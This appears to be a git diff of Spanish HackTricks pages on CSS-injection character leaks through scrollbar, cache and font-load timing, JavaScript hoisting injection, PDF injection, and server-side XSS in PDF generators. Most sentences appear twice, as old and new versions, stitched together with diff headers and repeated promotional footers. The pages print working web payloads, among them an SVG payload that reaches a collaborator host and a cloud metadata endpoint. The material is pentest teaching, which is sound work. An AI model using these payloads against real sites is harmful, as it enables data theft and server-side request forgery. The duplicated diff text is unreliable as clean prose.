Este truco fue publicado en este [**hilo de Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). El charset utilizado en un nodo de texto puede ser filtrado **usando las fuentes predeterminadas** instaladas en el navegador: no se necesitan fuentes externas -o personalizadas-.
El concepto gira en torno a utilizar una animación para expandir incrementalmente el ancho de un `div`, permitiendo que un carácter a la vez haga la transición de la parte 'sufijo' del texto a la parte 'prefijo'. Este proceso divide efectivamente el texto en dos secciones:
El concepto gira en torno a utilizar una animación para expandir gradualmente el ancho de un `div`, permitiendo que un carácter a la vez transicione de la parte 'sufijo' del texto a la parte 'prefijo'. Este proceso divide efectivamente el texto en dos secciones:
1. **Prefijo**: La línea inicial.
2. **Sufijo**: La(s) línea(s) subsiguiente(s).
@ -277,16 +278,16 @@ B
**CADB**
Durante esta transición, se emplea el **truco de rango unicode** para identificar cada nuevo carácter a medida que se une al prefijo. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente predeterminada, lo que desencadena indirectamente una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela indirectamente la presencia de un nuevo carácter en el prefijo.
Durante esta transición, se emplea el **truco de rango unicode** para identificar cada nuevo carácter a medida que se une al prefijo. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente predeterminada, lo que provoca la aparición de una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela indirectamente la presencia de un nuevo carácter en el prefijo.
Aunque este método permite la detección de caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que se ha producido una repetición.
Aunque este método permite la detección de caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que ha ocurrido una repetición.
{% hint style="info" %}
Básicamente, el **rango unicode se utiliza para detectar un carácter**, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.\
Cuando se **encuentra** el **carácter**, se le asigna la **fuente Comic Sans preinstalada**, lo que hace que el carácter sea **más grande** y **activa una barra de desplazamiento** que **filtrará el carácter encontrado**.
Básicamente, el **rango unicode se utiliza para detectar un char**, pero como no queremos cargar una fuente externa, necesitamos encontrar otra manera.\
Cuando el **char** es **encontrado**, se le **asigna** la **fuente Comic Sans** preinstalada, que **hace** que el char sea **más grande** y **provoca una barra de desplazamiento** que **filtrará el char encontrado**.
{% endhint %}
Verifica el código extraído del PoC:
Revisa el código extraído de la PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -397,7 +398,6 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
@ -407,20 +407,20 @@ div::-webkit-scrollbar {
background: blue;
}
/* canal lateral */
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltración de nodos de texto (III): filtrar el conjunto de caracteres con una fuente predeterminada al ocultar elementos (sin necesidad de activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltración de nodos de texto (III): filtrando el charset con una fuente predeterminada al ocultar elementos (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencia:** Esto se menciona como [una solución no exitosa en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que caracteres específicos sean más grandes que otros es ocultar algo, como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así que podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.
Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que **caracteres específicos sean más grandes que otros es ocultar algo** como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así que podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.
### Exfiltración de nodos de texto (III): filtrar el conjunto de caracteres por temporización de caché (sin necesidad de activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltración de nodos de texto (III): filtrando el charset por temporización de caché (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencia:** Esto se menciona como [una solución no exitosa en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
En este caso, podríamos intentar filtrar si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
```css
@ -430,15 +430,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará con éxito, el **navegador debería almacenarla en caché**, e incluso si no hay caché, hay un mecanismo de **304 not modified**, por lo que la **respuesta debería ser más rápida** que otras cosas.
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará con éxito, el **navegador debería almacenarla en caché**, y aunque no haya caché, hay un mecanismo de **304 no modificado**, por lo que la **respuesta debería ser más rápida** que otras cosas.
Sin embargo, si la diferencia de tiempo entre la respuesta en caché y la que no está en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de hacer pruebas, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera `disk-cache-size=1`, lo cual es realmente considerado.
Sin embargo, si la diferencia de tiempo de la respuesta en caché con respecto a la no en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera `disk-cache-size=1`, lo cual es realmente considerado.
### Exfiltración de nodos de texto (III): filtrar el conjunto de caracteres cronometrando la carga de cientos de "fuentes" locales (sin necesidad de activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltración de nodos de texto (III): filtrando el charset al cargar cientos de "fuentes" locales (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencia:** Esto se menciona como [una solución no exitosa en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
En este caso, puedes indicar **CSS para cargar cientos de fuentes falsas** desde el mismo origen cuando se produce una coincidencia. De esta manera puedes **medir el tiempo** que lleva y averiguar si un carácter aparece o no con algo como:
En este caso, puedes indicar **CSS para cargar cientos de fuentes falsas** desde el mismo origen cuando ocurre una coincidencia. De esta manera, puedes **medir el tiempo** que toma y averiguar si un carácter aparece o no con algo como:
```css
@font-face {
font-family: "A1";
@ -455,7 +455,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Entonces, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuentes, se enviarán múltiples solicitudes para recuperar la fuente, lo que provocará una actividad continua en la red. Como resultado, tomará más tiempo satisfacer la condición de parada y recibir la respuesta. Por lo tanto, el tiempo de respuesta se puede utilizar como indicador para determinar si hay una coincidencia de fuentes.
Así que, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuente, se enviarán múltiples solicitudes para recuperar la fuente, lo que causaque la red tenga actividad continua. Como resultado, tomará más tiempo satisfacer la condición de parada y recibir la respuesta. Por lo tanto, el tiempo de respuesta se puede utilizar como un indicador para determinar si hay una coincidencia de fuente.
## Referencias
@ -470,16 +470,17 @@ Entonces, si la fuente no coincide, se espera que el tiempo de respuesta al visi
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# Elevación de JS
# JS Hoisting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
## Basic Information
En el lenguaje JavaScript, se describe un mecanismo conocido como **Elevación** donde las declaraciones de variables, funciones, clases o importaciones se elevan conceptualmente hasta la parte superior de su ámbito antes de que se ejecute el código. Este proceso es realizado automáticamente por el motor de JavaScript, que recorre el script en múltiples pasadas.
En el lenguaje JavaScript, se describe un mecanismo conocido como **Hoisting** donde las declaraciones de variables, funciones, clases o importaciones se elevan conceptualmente a la parte superior de su ámbito antes de que se ejecute el código. Este proceso es realizado automáticamente por el motor de JavaScript, que revisa el script en múltiples pasadas.
Durante la primera pasada, el motor analiza el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracto. Esta fase incluye la elevación, un proceso donde ciertas declaraciones se mueven a la parte superior del contexto de ejecución. Si la fase de análisis es exitosa, indicando que no hay errores de sintaxis, la ejecución del script continúa.
Durante la primera pasada, el motor analiza el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso donde ciertas declaraciones se mueven a la parte superior del contexto de ejecución. Si la fase de análisis es exitosa, indicando que no hay errores de sintaxis, la ejecución del script continúa.
Es crucial entender que:
1. El script debe estar libre de errores de sintaxis para que ocurra la ejecución. Las reglas de sintaxis deben ser estrictamente seguidas.
2. La ubicación del código dentro del script afecta la ejecución debido a la elevación, aunque el código ejecutado puede diferir de su representación textual.
1. El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Las reglas de sintaxis deben ser estrictamente respetadas.
2. La ubicación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado puede diferir de su representación textual.
#### Tipos de Elevación
#### Types of Hoisting
Según la información de MDN, existen cuatro tipos distintos de elevación en JavaScript:
Basado en la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript:
1. **Elevación de Valor**: Permite el uso del valor de una variable dentro de su ámbito antes de su línea de declaración.
2. **Elevación de Declaración**: Permite hacer referencia a una variable dentro de su ámbito antes de su declaración sin causar un `ReferenceError`, pero el valor de la variable será `undefined`.
1. **Value Hoisting**: Permite el uso del valor de una variable dentro de su ámbito antes de su línea de declaración.
2. **Declaration Hoisting**: Permite referenciar una variable dentro de su ámbito antes de su declaración sin causar un `ReferenceError`, pero el valor de la variable será `undefined`.
3. Este tipo altera el comportamiento dentro de su ámbito debido a la declaración de la variable antes de su línea de declaración real.
4. Los efectos secundarios de la declaración ocurren antes de que el resto del código que la contiene sea evaluado.
4. Los efectos secundarios de la declaración ocurren antes de que se evalúe el resto del código que la contiene.
En detalle, las declaraciones de funciones exhiben el comportamiento de elevación del tipo 1. La palabra clave `var` demuestra el comportamiento del tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran el comportamiento del tipo 3. Por último, las declaraciones `import` son únicas en el sentido de que se elevan con los comportamientos del tipo 1 y tipo 4.
En detalle, las declaraciones de funciones exhiben un comportamiento de hoisting de tipo 1. La palabra clave `var` demuestra un comportamiento de tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran un comportamiento de tipo 3. Por último, las declaraciones `import` son únicas en que se elevan con comportamientos de tipo 1 y tipo 4.
## Escenarios
## Scenarios
Por lo tanto, si tienes escenarios donde puedes **Inyectar código JS después de que se use un objeto no declarado**, podrías **corregir la sintaxis** declarándolo (para que tu código se ejecute en lugar de arrojar un error):
Por lo tanto, si tienes escenarios donde puedes **Inject JS code after an undeclared object** se utiliza, podrías **fix the syntax** declarando la variable (para que tu código se ejecute en lugar de lanzar un error):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -140,16 +141,17 @@ let config;`-alert(1)-`//`+""
* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
**Si tu entrada se refleja dentro de un archivo PDF, puedes intentar inyectar datos PDF para ejecutar JavaScript o robar el contenido del PDF.**
Checa la publicación: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Si tu entrada se está reflejando dentro de un archivo PDF, puedes intentar inyectar datos PDF para ejecutar JavaScript o robar el contenido del PDF.**
Revisa la publicación: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,39 +1,39 @@
# XSS en el lado del servidor (PDF dinámico)
# Server Side XSS (Dynamic PDF)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## XSS en el lado del servidor (PDF dinámico)
## Server Side XSS (Dynamic PDF)
Si una página web está creando un PDF utilizando la entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para **ejecutar código JS arbitrario**.\
Entonces, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.
Si una página web está creando un PDF utilizando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
Entonces, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.
Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, por lo que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img` ).\
Además, ten en cuenta que en una explotación regular podrás **ver/descargar el PDF creado**, por lo que podrás ver todo lo que **escribas a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo una solicitud web hacia ti** (Ciego).
Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, así que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img` ).\
Además, nota que en una explotación regular podrás **ver/descargar el PDF creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
### Generación de PDF popular
- **wkhtmltopdf** es conocido por su capacidad para convertir HTML y CSS en documentos PDF, utilizando el motor de renderizado WebKit. Esta herramienta está disponible como una utilidad de línea de comandos de código abierto, lo que la hace accesible para una amplia gama de aplicaciones.
- **TCPDF** ofrece una solución sólida dentro del ecosistema de PHP para la generación de PDF. Es capaz de manejar imágenes, gráficos y cifrado, lo que muestra su versatilidad para crear documentos complejos.
- **TCPDF** ofrece una solución robusta dentro del ecosistema PHP para la generación de PDF. Es capaz de manejar imágenes, gráficos y cifrado, mostrando su versatilidad para crear documentos complejos.
- Para aquellos que trabajan en un entorno Node.js, **PDFKit** presenta una opción viable. Permite la generación de documentos PDF directamente desde HTML y CSS, proporcionando un puente entre el contenido web y los formatos imprimibles.
- Los desarrolladores de Java podrían preferir **iText**, una biblioteca que no solo facilita la creación de PDF, sino que también admite funciones avanzadas como firmas digitales y rellenado de formularios. Su conjunto de funciones completo lo hace adecuado para generar documentos seguros e interactivos.
- **FPDF** es otra biblioteca de PHP, distinguida por su simplicidad y facilidad de uso. Está diseñada para desarrolladores que buscan un enfoque sencillo para la generación de PDF, sin necesidad de funciones extensas.
- Los desarrolladores de Java pueden preferir **iText**, una biblioteca que no solo facilita la creación de PDF, sino que también admite características avanzadas como firmas digitales y llenado de formularios. Su conjunto de características integral lo hace adecuado para generar documentos seguros e interactivos.
- **FPDF** es otra biblioteca PHP, distinguida por su simplicidad y facilidad de uso. Está diseñada para desarrolladores que buscan un enfoque directo para la generación de PDF, sin necesidad de características extensas.
## Payloads
### Descubrimiento
### Discovery
```markup
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
@ -48,7 +48,7 @@ Además, ten en cuenta que en una explotación regular podrás **ver/descargar e
```
### SVG
Cualquiera de los payloads anteriores o siguientes puede ser utilizado dentro de este payload SVG. Se incluyen como ejemplos un iframe accediendo al subdominio de Burpcollab y otro accediendo al endpoint de metadatos.
Cualquiera de las cargas útiles anteriores o siguientes puede ser utilizada dentro de esta carga útil SVG. Se presentan como ejemplos un iframe que accede al subdominio de Burpcollab y otro que accede al endpoint de metadatos.
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
@ -73,9 +73,9 @@ alert(1);
</script>
</svg>
```
Puedes encontrar **otros payloads SVG** en [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
